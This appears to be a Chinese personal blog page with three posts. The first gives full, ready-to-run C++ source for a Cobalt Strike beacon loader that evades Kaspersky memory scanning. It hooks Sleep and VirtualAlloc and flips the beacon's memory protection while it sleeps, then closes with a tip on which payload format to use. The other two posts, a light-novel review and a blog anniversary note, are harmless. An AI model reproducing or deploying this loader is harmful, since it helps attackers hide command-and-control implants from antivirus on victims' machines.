cs bypass卡巴斯基内存查杀--BIE实现

前言

WBG大佬的的实现:cs bypass卡巴斯基内存查杀 跟风yansu大佬.pdf
yansu大佬的文章:记一次cs bypass卡巴斯基内存查杀

大佬们思路都骚的丫批,我就不献丑直接上代码了,原理和WBG大佬的一模一样,只不过自己实现了hook api,开箱即用

#include<windows.h>
#include<stdio.h>

static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD
    flAllocationType, DWORD flProtect) = VirtualAlloc;

static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;

LPVOID Beacon_address = NULL;
DWORD Beacon_data_len;
bool Vir_FLAG;

struct APIHeader {
#ifdef _WIN64
    char buff[12];
#else
    char buff[5];
#endif
    int size;
};

APIHeader Sleep_Header;
APIHeader VirtualAlloc_Header;
DWORD Beacon_Memory_address_flOldProtect;
BOOL IgnoreFirst = false;


HANDLE hEvent = CreateEvent(NULL, TRUE, false, NULL);
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{

    printf("FirstVectExcepHandler\n");
    printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
    //printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);

    if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
    {
        printf("恢复Beacon内存属性\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
    printf("Beacon_set_Memory_attributes启动\n");
    while (true)
    {
        WaitForSingleObject(hEvent, INFINITE);
        printf("设置Beacon内存属性不可执行\n");
        VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE,
            &Beacon_Memory_address_flOldProtect);
        ResetEvent(hEvent);
    }
    return 0;
}



BOOL HookApi(LPCSTR Moudle, LPCSTR Function, LPVOID NewFunction, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    // 32位
    // 汇编代码:jmp _dwNewAddress
    // 机器码位:e9 _dwOffset(跳转偏移)
    //        addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值
    //        addr2 --> 跳转地址的值,即_dwNewAddress的值
    //        跳转偏移 _dwOffset = addr2 - addr1
    BYTE pNewData[5] = { 0xe9, 0, 0, 0, 0 };
    DWORD dwNewDataSize = 5;
    DWORD dwOffset = 0;
    // 计算跳转偏移
    dwOffset = ((DWORD)NewFunction) - (DWORD)OldFunction;
    printf("raw:%x offset:%x\n", NewFunction, dwOffset);
    RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));
#else
    // 64位
    // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788)
    //         jmp rax
    // 机器码是:
    //    48 b8 _dwNewAddress(0x1122334455667788)
    //    ff e0
    BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };
    DWORD dwNewDataSize = 12;
    api->size = dwNewDataSize;
    ULONGLONG ullNewFuncAddr = (ULONGLONG)NewFunction;
    RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 保存原始数据
    RtlCopyMemory(api->buff, OldFunction, dwNewDataSize);
    //printf("address:%llx\n", OldFunction);
    RtlCopyMemory(OldFunction, pNewData, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
BOOL UnhookApi(LPCSTR Moudle, LPCSTR Function, APIHeader* api)
{
    // 获取 user32.dll 模块加载基址
    HMODULE hDll = GetModuleHandleA(Moudle);
    if (NULL == hDll)
    {
        return FALSE;
    }
    // 获取 MessageBoxA 函数的导出地址
    PVOID OldFunction = GetProcAddress(hDll, Function);
    if (NULL == OldFunction)
    {
        return FALSE;
    }
    // 计算写入的前几字节数据, 32位下5字节, 64位下12字节
#ifndef _WIN64
    DWORD dwNewDataSize = 5;
#else
    DWORD dwNewDataSize = 12;
#endif
    // 设置页面的保护属性为 可读、可写、可执行
    DWORD dwOldProtect = 0;
    VirtualProtect(OldFunction, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    // 恢复数据
    RtlCopyMemory(OldFunction, api->buff, dwNewDataSize);
    // 还原页面保护属性
    VirtualProtect(OldFunction, dwNewDataSize, dwOldProtect, &dwOldProtect);
    return TRUE;
}
typedef void(__stdcall* CODE) ();
void WINAPI NewSleep(DWORD dwMilliseconds)
{

    printf("sleep时间:%d\n", dwMilliseconds);
    UnhookApi("kernel32.dll", "Sleep", &Sleep_Header);
    if (Beacon_address) {
        VirtualFree(Beacon_address, Beacon_data_len, MEM_RELEASE);
    }
    SetEvent(hEvent);
    OldSleep(dwMilliseconds);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
}
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD flProtect) {

    UnhookApi("kernel32.dll", "VirtualAlloc", &VirtualAlloc_Header);
    Beacon_data_len = dwSize;
    Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
    //HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    printf("分配大小:%d\t", Beacon_data_len);
    printf("分配地址:%llx \n", Beacon_address);

    return Beacon_address;

}
DWORD ReadFileData(char* szFilePath, char* pBuf)
{
    DWORD dwBytesRead;
    HANDLE hFile;

    hFile = CreateFileA(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        CloseHandle(hFile);
        return 0;
    }

    ReadFile(hFile, pBuf, dwFileSize, &dwBytesRead, NULL);
    CloseHandle(hFile);
    return dwFileSize;
}
DWORD GetFileSizeLen(char* szSource)
{

    HANDLE hFile;

    hFile = CreateFileA(szSource, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(NULL, "文件未找到!", NULL, NULL);
        return 0;
    }

    DWORD dwFileSize = GetFileSize(hFile, 0);
    if (dwFileSize == 0)
    {
        MessageBoxA(NULL, "文件长度为零!", NULL, NULL);
        CloseHandle(hFile);
        return 0;
    }
    CloseHandle(hFile);
    return dwFileSize;
}

int main()
{

    AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0,
        NULL);

    char shelname[] = "beacon.bin";
    DWORD filelen = GetFileSizeLen(shelname);
    char* filebuf = new char[filelen];
    ReadFileData(shelname, filebuf);
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, filelen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
        MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
    if (!(memcpy(p, filebuf, filelen)))
        MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
    HookApi("kernel32.dll", "Sleep", &NewSleep, &Sleep_Header);
    HookApi("kernel32.dll", "VirtualAlloc", &NewVirtualAlloc, &VirtualAlloc_Header);
    CODE code = (CODE)p;

    code();
    CloseHandle(hThread1);

}

根据wbg大佬的指点,beacon.bin必须是cs生成无阶段木马的raw,不能用分阶段或者直接生成shellcode。

Tags: 免杀, cs

河野裕《昨日寻找星星的借口》 && 三秋縋《三日间的幸福》 读后感

起因

今天再顺着课闲得无聊把《三日间的幸福》给看了,之前就看过三秋縋老贼的书那年夏天xxxxxx电话系列的书,看完了这一本不如说老贼的套路一如寻常。而且正好周末了,我现在也正好想摸鱼,就顺带写写一些这些的感想吧。

先说河野裕的《昨日寻找星星的借口》

观前提醒,全文非常主观,作者视野狭义,文笔垃圾。如有任何不同意见已您的为准。

同时为了不剧透,推荐看完后再看以下的感想

昨日寻找星星的借口

2935s.jpg

那时,我曾恋慕着她。 如果说这句话里有什么谎言,也就是我用了过去时罢了。
升学到全寄宿制初高中一体校后,坂口孝文与茅森良子成了同学。茅森天生有一双绿色的眼睛,在这个表面上已经不会因眼睛的颜色而产生歧视的国家,她立志成为首相,想创造真正平等的社会。与坂口变得亲近后,茅森对他说出了自己的秘密。茅森会成为图书委员,是为了寻找电影导演——清寺时生的珍稀剧本《海豚之歌》。

看之前我还没注意到这是《重启咲良田》的作者,只是看着封面和简介有点意思就打开了。毕竟上课时间太无聊了只想随手看一些短篇作品。看着这简介我可能感觉这是“哦,又是一本轻文学”,看完之后,有一点难懂,但是又感觉也就普通的“就这?”。

书里塑造了两个阶级“黑眼睛”和“绿眼睛”,黑眼睛占大多数,绿眼睛则受到了各种原因的压迫。

其中男主是黑眼睛,女主是绿眼睛。然后女主想创造一个不平等的世界,但是实际上是想寻找自己妈妈参演的一部作品《海豚之歌》,原因是收到这本书的内容所打动。

然后某种原因男女主相识相遇发生一系列故事然后离别然后重逢。
7148I3vmq4L.jpg

从这就可以看出来,这是一个关于打着恋爱旗号的思潮对抗的题材。这本书在我看来就是每个人都散发着自己的正义,然后互相伤害,然后互相和解的事情。

用正论抒发自己的正义,配合轻文学优美辞藻以及细腻的人物刻画,初看可能会觉得这本书很高大上,然而认真理解玩内容可能具体含义也就那样。

全文看似围绕着“平等”两个字展开,如果说这个小说是一本议论文,那么“平等”就是这个小说的论题,然而这篇议论文,却在小说最后离题了。

剧情总体高潮点在于三个地方,一个是从友人生体缺陷,还有一个是黑眼睛的压迫和绿眼睛的反抗,最后是男女主两个人独立的思潮对抗。

前面两点对于我们来说看的似乎可以算是有点浅显了,因为书中的所谓”反抗“的做法在我个人认为程度算是小孩过家家。毕竟我们曾经可是真的推翻过三座大山的民族。书里的做法不说革 命,甚至连修正主义都算不上。

既然抛出了“公平”这一论题,那么最后有解决吗?实际上并没有,这么长公平的铺垫,不过是最后为了《海豚之歌》这一意象所展开。《海豚之歌》是讲述着一个没有压迫,大家都是绝对公平的世界。女主就是追求着这样的世界,然而因为各种原因女主没有看到结局。男主和女主用自己理想所创造的伪物《海豚之歌》遇到了现实中的一把无情的尖刀:真实《海豚之歌》的结局是个Bad End。

然而,其实全文的重点不在于公平,作者主要想表达的是善意的"歧视"是否也算一种不公平,女主养父因为女主的眼睛问题怕女主受到歧视,而选择带有善意的“歧视”不让女主去那所学校,而老师因为基友身体的原因,试图修改原本顶下的路程为好走的路。

当然最后女主和基友都成功防抗过了。女主最后进了学校并如愿以偿的站在了顶点,而基友靠着自己的意志走完了全程。这是前两个矛盾点。每个人都抒发了自己的正义,然后每个人都为自己的正义而战,看起来确实挺不错?

最后一个矛盾点,是在于男主发现海豚之歌的结局。想的是保护女主不破坏女主的希望,而女主是想只要我们两在一起无论什么我们都能解决。最后两人决裂然后再过许久重逢。

看到问题了吧,不仅“平等”这一个问题根本就没得到解决。甚至处理都没有,一切都只是为了男女主的冲突引发的高潮而出现的。甚至最后男主和女主的对立面的矛盾点,和前面两个矛盾点有点实在有点强差人意。之前带有善意的“歧视”是因为客观上的身体原因。而男主为什么就不能单纯以心疼的角度而言来诠释自己的不告诉女主的行为?这是否又和公平有关系?

前期铺垫了许多海豚之歌的内容,然而最后高潮的缺不在于海豚之歌,海豚之歌完全沦为了工具人

前期看似高大上的思想,不同之间的思潮对抗,冲突,似乎瞬间都消失了一般。成为了男女主感情抒发的垫脚石。所以我才觉得这本书“就这?”

当然我也不是觉得这样不好,因为这些命题就等于大学生辩论赛的论题一样没有人是错的,强行得出结论反而会被说成观点狭义。又或者说作者认为在女主打破规矩成为学生会长之后就代表绿眼睛已经成功反抗了压迫了?

最后不只对于中间“公平”的定义没有讲完整。就连最后恋爱的结局也是给我们一个开放式的Happy End,为什么说是开放式Happy End呢?因为最后boy 确实meets girls again了,但是实际上发的糖也不多,基本就是尾声中一两句的级别,过于生硬。

总体而言,就是一本将着大道理实际上还是普通谈恋爱的小说。看似精美,实际上也就这样。不过作为一个普通的短篇还算不错。也不用指望它能讲啥大道理。就是普普通通的“就这?”

以上,是作为正常文学来评价该书的内容。那么作为一本轻小说呢?

作为轻小说而言,它还是合格的。毕竟对于轻小说来说,以上的缺点都不用在意,因为那不是作为轻小说该有的职责。

单单从人物细腻的刻画,和合理并不突兀的剧情来讲,这本小说就已经是一本非常不错的轻小说了。

反正如果出港版或者台版我是会考虑入手的。

《三日间的幸福》

311978700000.jpg
这本书和上面那本相比,槽点就没那么多了
这书和之前河野裕的那本不太一样在于,这本书是爱情作为主线,其他关于人生的意义这些宏大的念头反倒是本书的支线。。和上次说的《昨日寻找星星的借口》的不同点大概就在这里。
这种模式我倒是比较喜欢,毕竟动辄人生意义社会伦理什么的对我来说太过遥远了。。并且我也不是什么文学少年,对我这种直男大脑来说可能太过复杂。

总之,《三日间的幸福》从架构上来说是我喜欢的,短小精简唯美,相比于长篇连载,我一直都挺喜欢这种短小精美的短篇风格,当然更主要的原因是因为只有一本好搜集全,钱包也好说,同时我也有耐心看得下去。

虽说如此,然而依旧是三秋縋老贼一贯的套路。抛开了给出的命题之外。三秋縋的套路就十分浅显易懂了。戏剧性的“虐”再给出一个略微“突出”的结尾。不是说这个不行,但是主要是“虐”的太套路化了。难以形成共鸣。

为了戏剧小说,三秋縋可以说算得上是从各种方面虐过一遍,甚至还要拉出青梅虐一下来推动下剧情。

虽然我知道大部分程度是把“虐”作为包装小说的情节发展的必需品,但是长久这样下来还是会审美疲劳。

除了这个槽点之外,还有一个槽点就是情感铺垫略少进度太快了。。不过这个对于短篇小说来说这个缺点就完全是可有可无的。

总的观感就是这样了。实体已入。而且看样子台版有可能也快绝版的样子。

如果不看老贼其他系列,单看这一本,不得不说它确实算得上是一个包装精美的“艺术品”。而且还是我挺喜欢的那种“艺术品”

other

说带说一下,《三日间的幸福》这种结局我还是挺喜欢的,相比《昨日寻找星星的借口》这样在高潮中结束。和《少女终末旅行》《妹妹人生》结局差不多,在黑暗中散唯一一只萤火虫努力的闪耀光芒,最后燃尽死去的感觉差不多。就像舞台剧一样,在璀璨过后安静被人遗忘的落幕并给予我们遐想的空间。

这么看来我还确实是挺喜欢这类作品的。不知道还有没有类似的作品摩多摩多

Tags: 轻小说, 轻文学, 文学鳖?

博客六周年辣

前言 & about me

从当初无忧无虑的中二少年,到现在逐步快要跨入社会的二逼青年。没想到这个站点竟然陪了我六年之久。

感觉对时间的给概念变得愈来愈模糊了。从以前的 “时间啊,请过的快一些流逝吧”,到现在,一转眼间,去年今日之事仿佛就在昨日。

可以很明显感觉到时间流逝的速度有两个档口,一个是08年之后,这个是对于社会的变化,因为全中国直接步入信息社会,我们每天接受的信息密度呈几何倍增长,所以网络上都觉得从那之后,时间变快了。

还有一个档口,是对于我自己的。可以说是从18年高考的时候吧。原因我就懒得打了,不是什么不好开口的东西只是单纯因为懒。

愈发愈觉得自己菜,十分的fw。但是又觉得这样菜也不是什么坏事,因为没有什么好比较的。反正又不是没有上进心去学习,做好自己就行。尽自己最大努力吧。

天塌下来了有高个子顶着

不过我还是得努力学习,立刻目标是争取能自己养活自己

第二目标是希望在上面的基础上找的是自己喜欢的工作。

about 博客

和以前的情况不通,以前是怎么挤都挤不出内容只好谈天说地聊各种奇怪的东西。

现在肚子里确实有一些东西。不过都是不太好发出来的东西。

只能随手发一些不那么敏感的东西。

当然更大原因是因为懒。毕竟要发文章还是得需要准备的。

总之就这么多了。感谢大家的支持。虽然不知道还有没有人看这个无聊的站点就是了。

Tags: 周年
文章总数:185篇 分类总数:4个